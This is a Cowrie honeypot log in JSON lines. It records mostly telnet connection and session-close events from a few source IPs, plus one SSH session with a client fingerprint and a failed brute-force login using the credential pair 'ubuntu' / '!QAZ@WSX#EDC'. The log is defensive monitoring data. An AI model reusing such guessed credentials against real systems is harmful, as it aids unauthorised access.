{"eventid":"cowrie.session.closed","duration":30.795914888381958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:34.049825Z","src_ip":"185.116.212.16","session":"a16e59146d4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":35920,"dst_ip":"10.17.0.5","dst_port":23,"session":"8413f97e1eaf","protocol":"telnet","message":"New connection: 46.4.133.15:35920 (10.17.0.5:23) [session: 8413f97e1eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:34.153184Z"}
{"eventid":"cowrie.session.closed","duration":30.91612696647644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:34.223516Z","src_ip":"187.45.176.130","session":"68f3da8021c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091187238693237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:34.954701Z","src_ip":"46.4.133.15","session":"a5117482bd84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804322242736816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:34.987255Z","src_ip":"46.4.133.15","session":"9b13f6e673ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054475784301758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:35.001456Z","src_ip":"46.4.133.15","session":"ff19e4a4e8d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22848153114319,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:35.035193Z","src_ip":"46.4.133.15","session":"c4af6752c670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.025229692459106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:35.168045Z","src_ip":"46.4.133.15","session":"4f8091cd2266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966296195983887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:35.680719Z","src_ip":"185.116.212.16","session":"516c31998b46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694846391677856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:35.952535Z","src_ip":"46.4.133.15","session":"303088837e47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.748944997787476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:35.974133Z","src_ip":"185.116.212.16","session":"205741ec1ed0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931600093841553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:36.001464Z","src_ip":"46.4.133.15","session":"66729660b905","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963242769241333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:36.017735Z","src_ip":"46.4.133.15","session":"8aa63f3b69db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02041244506836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:36.078797Z","src_ip":"185.116.212.16","session":"bd1dddced499","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.609055280685425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:36.117344Z","src_ip":"187.45.176.130","session":"c0a82ca6a261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84137511253357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:36.129314Z","src_ip":"185.116.212.16","session":"f30bd24d08f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046302556991577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:36.138622Z","src_ip":"185.116.212.16","session":"6aa01ae9a68c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":43268,"dst_ip":"10.17.0.5","dst_port":23,"session":"324984cc4b34","protocol":"telnet","message":"New connection: 46.4.133.15:43268 (10.17.0.5:23) [session: 324984cc4b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:36.193693Z"}
{"eventid":"cowrie.session.closed","duration":31.022186994552612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:36.996656Z","src_ip":"46.4.133.15","session":"a3e533558f86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.918102025985718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:37.049659Z","src_ip":"185.116.212.16","session":"007de3cee462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.548224210739136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:37.068616Z","src_ip":"187.45.176.130","session":"4c8ec695f9cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731369733810425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:37.095533Z","src_ip":"185.116.212.16","session":"82cd36eedd97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694698810577393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:37.100601Z","src_ip":"185.116.212.16","session":"3ea61851963a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7818500995636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:37.122099Z","src_ip":"187.45.176.130","session":"68469e1390ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.421390533447266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:37.134085Z","src_ip":"185.116.212.16","session":"522c5197df4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21704649925232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:37.297612Z","src_ip":"185.116.212.16","session":"5fce26ded599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98233199119568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:38.002430Z","src_ip":"46.4.133.15","session":"47b534992337","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.305068254470825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:38.194585Z","src_ip":"185.116.212.16","session":"a2e751698843","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.667487144470215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:38.916511Z","src_ip":"185.116.212.16","session":"998bcc0ce54e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824710607528687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:39.005794Z","src_ip":"46.4.133.15","session":"4babe97ca560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.225218296051025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:39.075829Z","src_ip":"185.116.212.16","session":"313f32ccd611","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890502452850342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:39.079811Z","src_ip":"187.45.176.130","session":"84ea62693541","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.534493923187256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:39.146791Z","src_ip":"187.45.176.130","session":"fc1795214ff0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.946072578430176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:39.794203Z","src_ip":"46.4.133.15","session":"3e0fb497484c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.387611865997314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:39.817298Z","src_ip":"46.4.133.15","session":"d479a7d5cb04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.117997646331787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:39.957754Z","src_ip":"46.4.133.15","session":"daca7e8ed089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082565307617188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:39.978291Z","src_ip":"46.4.133.15","session":"4566e4835f0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.313438415527344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:40.045852Z","src_ip":"185.116.212.16","session":"96de39b3105f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824546813964844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:40.145389Z","src_ip":"185.116.212.16","session":"92493431aef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88444495201111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:40.241498Z","src_ip":"187.45.176.130","session":"564452810a10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.546386241912842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:40.333801Z","src_ip":"187.45.176.130","session":"8518659e1648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":38382,"dst_ip":"10.17.0.5","dst_port":22,"session":"6028e5e63d82","protocol":"ssh","message":"New connection: 74.91.200.154:38382 (10.17.0.5:22) [session: 6028e5e63d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:40.796451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:40.806099Z","src_ip":"74.91.200.154","session":"6028e5e63d82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:41.023762Z","src_ip":"74.91.200.154","session":"6028e5e63d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.789571523666382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:41.029575Z","src_ip":"46.4.133.15","session":"b568569894f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932655096054077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:41.046308Z","src_ip":"46.4.133.15","session":"9e66e9d2050a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514479637145996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:41.062156Z","src_ip":"187.45.176.130","session":"6034258c1166","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514501333236694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:41.067267Z","src_ip":"187.45.176.130","session":"659fefb19984","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93888521194458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:41.117674Z","src_ip":"185.116.212.16","session":"6e51993b9d44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31246852874756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:41.166290Z","src_ip":"185.116.212.16","session":"87c551ba776f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.429928064346313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:41.232773Z","src_ip":"185.116.212.16","session":"e13767e01326","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13749384880066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:41.303201Z","src_ip":"185.116.212.16","session":"a0a09e8b13fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22528314590454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:41.385819Z","src_ip":"46.4.133.15","session":"221ea316298d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ@WSX#EDC","message":"login attempt [ubuntu/!QAZ@WSX#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:41.898336Z","src_ip":"74.91.200.154","session":"6028e5e63d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.78529930114746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:42.009027Z","src_ip":"46.4.133.15","session":"db32edd53471","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769591331481934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:42.072388Z","src_ip":"187.45.176.130","session":"0c8ddd02c675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01833701133728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:42.208879Z","src_ip":"185.116.212.16","session":"057aa224c92d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":49676,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6273282560c","protocol":"telnet","message":"New connection: 103.153.64.19:49676 (10.17.0.5:23) [session: d6273282560c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:42.614139Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":49680,"dst_ip":"10.17.0.5","dst_port":23,"session":"28cb18364370","protocol":"telnet","message":"New connection: 103.153.64.19:49680 (10.17.0.5:23) [session: 28cb18364370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:42.622945Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":35904,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56d63076b3f","protocol":"telnet","message":"New connection: 203.1.9.18:35904 (10.17.0.5:23) [session: a56d63076b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:42.690557Z"}
{"eventid":"cowrie.session.closed","duration":30.821271181106567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:42.710371Z","src_ip":"185.116.212.16","session":"0c613076209c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787803173065186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:42.940310Z","src_ip":"46.4.133.15","session":"9298a3248763","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81948232650757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:42.987099Z","src_ip":"46.4.133.15","session":"aa67796b7125","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789777755737305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:42.992310Z","src_ip":"46.4.133.15","session":"f128fe22b381","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:43.125865Z","src_ip":"74.91.200.154","session":"6028e5e63d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.753649711608887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:43.942501Z","src_ip":"46.4.133.15","session":"16c3903f4b65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075434923171997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:44.001734Z","src_ip":"46.4.133.15","session":"4b126891ea53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697536945343018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:44.127425Z","src_ip":"187.45.176.130","session":"2f9c67dd872d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.453842401504517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:44.307464Z","src_ip":"46.4.133.15","session":"729e555e3925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":56620,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe887bf930ca","protocol":"telnet","message":"New connection: 187.45.176.130:56620 (10.17.0.5:23) [session: fe887bf930ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:44.326544Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":43800,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a862fa691e0","protocol":"telnet","message":"New connection: 46.4.133.15:43800 (10.17.0.5:23) [session: 2a862fa691e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:44.483798Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":35918,"dst_ip":"10.17.0.5","dst_port":23,"session":"6547a5ae40f7","protocol":"telnet","message":"New connection: 203.1.9.18:35918 (10.17.0.5:23) [session: 6547a5ae40f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:44.548927Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":56630,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb9a59fc894f","protocol":"telnet","message":"New connection: 187.45.176.130:56630 (10.17.0.5:23) [session: cb9a59fc894f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:44.607277Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":58746,"dst_ip":"10.17.0.5","dst_port":23,"session":"13926295ef99","protocol":"telnet","message":"New connection: 103.153.64.19:58746 (10.17.0.5:23) [session: 13926295ef99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:44.796171Z"}
{"eventid":"cowrie.session.closed","duration":30.328999757766724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:45.015747Z","src_ip":"46.4.133.15","session":"3cbb2f2ee17c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87226414680481,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:45.028596Z","src_ip":"46.4.133.15","session":"33b511c159b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99839448928833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:45.051672Z","src_ip":"46.4.133.15","session":"6d835de55d6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91034960746765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:45.056344Z","src_ip":"46.4.133.15","session":"a3cf5e1796dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687551975250244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:45.067691Z","src_ip":"187.45.176.130","session":"cb436dded14b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":35926,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c3230ecdc7","protocol":"telnet","message":"New connection: 203.1.9.18:35926 (10.17.0.5:23) [session: 01c3230ecdc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:45.261699Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":56636,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1f0ef611ea6","protocol":"telnet","message":"New connection: 187.45.176.130:56636 (10.17.0.5:23) [session: a1f0ef611ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:45.369025Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":58748,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b4e410f3d3f","protocol":"telnet","message":"New connection: 103.153.64.19:58748 (10.17.0.5:23) [session: 4b4e410f3d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:45.604353Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":35934,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db8e729cf37","protocol":"telnet","message":"New connection: 203.1.9.18:35934 (10.17.0.5:23) [session: 3db8e729cf37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:46.457731Z"}
